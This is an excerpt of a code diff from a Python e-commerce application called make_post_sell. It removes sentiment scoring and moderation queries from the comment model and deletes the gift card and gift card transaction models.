backref=backref("cart_offers", cascade="all, delete-orphan"),
)
offer = relationship(argument="MpsOffer")
def __init__(self, cart=None, offer=None):
self.id = uuid.uuid1()
self.cart = cart
self.offer = offer
self.created_timestamp = now_timestamp()

108
make_post_sell/models/comment.py
View file

@ -26,7 +26,6 @@ from make_post_sell.lib.time_funcs import (
)
from make_post_sell.lib.render import markdown_to_html
from make_post_sell.lib.sentiment import classify_sentiment
from .meta import Base, RBase
from .meta import UUIDType
@ -83,9 +82,6 @@ class Comment(RBase, Base):
# by default comments are approved. unless shop requires approval.
approved = Column(Boolean, default=True)
# sentiment: -1 = negative, 0 = neutral, 1 = positive, None = unscored
sentiment = Column(Integer, default=None)
ip_address = Column(Unicode(45), default=None)
# lazy='joined' performs a left join to reduce queries, it's magic.
@ -132,11 +128,6 @@ class Comment(RBase, Base):
def unverified_children(self):
return self.children.filter(Comment.verified == False)
@property
def enabled_children(self):
"""Get all non-disabled child comments."""
return self.children.filter(Comment.disabled == False)
@property
def path_to_root(self):
"""The path from this comment to the root comment."""
@ -194,33 +185,13 @@ class Comment(RBase, Base):
return True
return False
@property
def human_sentiment(self):
if self.sentiment == 1:
return "positive"
elif self.sentiment == -1:
return "negative"
return "neutral"
@property
def sentiment_icon(self):
if self.sentiment == 1:
return "+"
elif self.sentiment == -1:
return "-"
return "~"
def set_data(self, data):
"""Set comment data and generate HTML."""
self.data = data
if data:
# Pass shop context if available through product relationship
shop = self.product.shop if self.product else None
self.data_html = markdown_to_html(data, shop)
self.sentiment = classify_sentiment(data)
self.data_html = markdown_to_html(data)
else:
self.data_html = None
self.sentiment = 0
self.updated_timestamp = now_timestamp()
def stamp_updated_timestamp(self):
@ -329,20 +300,6 @@ def get_recent_comments(dbsession, shop_id=None, limit=10):
return query.order_by(Comment.created_timestamp.desc()).limit(limit).all()
def get_comments_for_shop(dbsession, shop_id, filter_type="all"):
"""Get all comments across a shop's products for the moderation dashboard."""
from .product import Product
query = dbsession.query(Comment).join(Product).filter(Product.shop_id == shop_id)
if filter_type == "pending":
query = query.filter(Comment.approved == False, Comment.disabled == False)
elif filter_type == "deleted":
query = query.filter(Comment.disabled == True)
else: # "all" = non-deleted
query = query.filter(Comment.disabled == False)
return query.order_by(Comment.created_timestamp.desc()).all()
def get_total_comment_count_for_product(dbsession, product_id, shop=None, user=None):
"""Get total count of all approved, non-disabled comments (root + replies) for a product."""
query = dbsession.query(Comment).filter(
@ -352,66 +309,3 @@ def get_total_comment_count_for_product(dbsession, product_id, shop=None, user=N
)
return query.count()
def get_sentiment_summary_for_shop(dbsession, shop_id, cutoff_ms):
"""Return counts of positive/neutral/negative comments since *cutoff_ms*.
Returns a dict ``{"positive": int, "neutral": int, "negative": int, "total": int}``.
"""
from .product import Product
rows = (
dbsession.query(Comment.sentiment, func.count().label("cnt"))
.join(Product)
.filter(
Product.shop_id == shop_id,
Comment.disabled == False,
Comment.approved == True,
Comment.sentiment.isnot(None),
Comment.created_timestamp > cutoff_ms,
)
.group_by(Comment.sentiment)
.all()
)
summary = {"positive": 0, "neutral": 0, "negative": 0, "total": 0}
for sentiment_val, cnt in rows:
if sentiment_val == 1:
summary["positive"] = cnt
elif sentiment_val == -1:
summary["negative"] = cnt
else:
summary["neutral"] = cnt
summary["total"] += cnt
return summary
def get_sentiment_summary_for_product(dbsession, product_id, cutoff_ms):
"""Return counts of positive/neutral/negative comments for a product since *cutoff_ms*.
Returns a dict ``{"positive": int, "neutral": int, "negative": int, "total": int}``.
"""
rows = (
dbsession.query(Comment.sentiment, func.count().label("cnt"))
.filter(
Comment.product_id == product_id,
Comment.disabled == False,
Comment.approved == True,
Comment.sentiment.isnot(None),
Comment.created_timestamp > cutoff_ms,
)
.group_by(Comment.sentiment)
.all()
)
summary = {"positive": 0, "neutral": 0, "negative": 0, "total": 0}
for sentiment_val, cnt in rows:
if sentiment_val == 1:
summary["positive"] = cnt
elif sentiment_val == -1:
summary["negative"] = cnt
else:
summary["neutral"] = cnt
summary["total"] += cnt
return summary

108
make_post_sell/models/gift_card.py
View file

@ -1,108 +0,0 @@
import secrets
import uuid
from sqlalchemy import Column, BigInteger, Boolean, Unicode
from sqlalchemy.orm import relationship
from .meta import (
Base,
RBase,
UUIDType,
foreign_key,
now_timestamp,
get_object_by_id,
)
from ..lib.currency import cents_to_dollars
class GiftCard(RBase, Base):
"""
A gift card is scoped to a single shop. The code IS the value —
no account required to redeem. Balance decrements across purchases.
Gift cards never expire (permacomputer rules).
"""
id = Column(UUIDType, primary_key=True, index=True)
shop_id = Column(UUIDType, foreign_key("Shop", "id"), nullable=False)
code = Column(Unicode(64), nullable=False, unique=True, index=True)
initial_amount_in_cents = Column(BigInteger, nullable=False)
balance_in_cents = Column(BigInteger, nullable=False)
purchaser_email = Column(Unicode(256), nullable=True)
gift_email = Column(Unicode(256), nullable=True)
gift_message = Column(Unicode(512), nullable=True)
invoice_id = Column(UUIDType, foreign_key("Invoice", "id"), nullable=True)
created_timestamp = Column(BigInteger, nullable=False)
disabled = Column(Boolean, default=False, nullable=False)
shop = relationship(argument="Shop", uselist=False, lazy="joined")
invoice = relationship(argument="Invoice", uselist=False, lazy="joined")
transactions = relationship(
argument="GiftCardTransaction",
lazy="dynamic",
back_populates="gift_card",
)
def __init__(self, shop, amount_in_cents, purchaser_email=None,
gift_email=None, gift_message=None, invoice=None):
self.id = uuid.uuid1()
self.shop = shop
self.code = generate_gift_card_code()
self.initial_amount_in_cents = amount_in_cents
self.balance_in_cents = amount_in_cents
self.purchaser_email = purchaser_email
self.gift_email = gift_email
self.gift_message = gift_message
self.invoice = invoice
self.created_timestamp = now_timestamp()
@property
def is_valid(self):
return not self.disabled and self.balance_in_cents > 0
@property
def balance(self):
return cents_to_dollars(self.balance_in_cents)
@property
def initial_amount(self):
return cents_to_dollars(self.initial_amount_in_cents)
@property
def shop_uuid_str(self):
return self.id_to_uuid_str(self.shop_id)
@property
def is_fully_redeemed(self):
return self.balance_in_cents <= 0
def deduct(self, amount_in_cents):
"""Deduct amount from balance. Returns actual amount deducted."""
deduction = min(amount_in_cents, self.balance_in_cents)
self.balance_in_cents -= deduction
return deduction
def generate_gift_card_code():
"""Generate a unique gift card code: GC- prefix + 16 hex chars uppercase."""
return "GC-" + secrets.token_hex(8).upper()
def get_gift_card_by_id(dbsession, gift_card_id):
return get_object_by_id(dbsession, gift_card_id, GiftCard)
def get_gift_card_by_code(dbsession, code, shop=None):
query = dbsession.query(GiftCard).filter(GiftCard.code == code.strip().upper())
if shop is not None:
query = query.filter(GiftCard.shop_id == shop.id)
return query.one_or_none()
def get_gift_cards_by_shop(dbsession, shop):
return (
dbsession.query(GiftCard)
.filter(GiftCard.shop_id == shop.id)
.order_by(GiftCard.created_timestamp.desc())
)

46
make_post_sell/models/gift_card_transaction.py
View file

@ -1,46 +0,0 @@
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship
from .meta import (
Base,
RBase,
UUIDType,
foreign_key,
now_timestamp,
get_object_by_id,
)
from ..lib.currency import cents_to_dollars
class GiftCardTransaction(RBase, Base):
"""Tracks each time a gift card balance is used at checkout."""
id = Column(UUIDType, primary_key=True, index=True)
gift_card_id = Column(UUIDType, foreign_key("GiftCard", "id"), nullable=False)
invoice_id = Column(UUIDType, foreign_key("Invoice", "id"), nullable=False)
amount_in_cents = Column(BigInteger, nullable=False)
created_timestamp = Column(BigInteger, nullable=False)
gift_card = relationship(
argument="GiftCard", uselist=False, lazy="joined",
back_populates="transactions",
)
invoice = relationship(argument="Invoice", uselist=False, lazy="joined")
def __init__(self, gift_card, invoice, amount_in_cents):
self.id = uuid.uuid1()
self.gift_card = gift_card
self.invoice = invoice
self.amount_in_cents = amount_in_cents
self.created_timestamp = now_timestamp()
@property
def amount(self):
return cents_to_dollars(self.amount_in_cents)
def get_gift_card_transaction_by_id(dbsession, transaction_id):
return get_object_by_id(dbsession, transaction_id, GiftCardTransaction)

Some files were not shown because too many files have changed in this diff Show more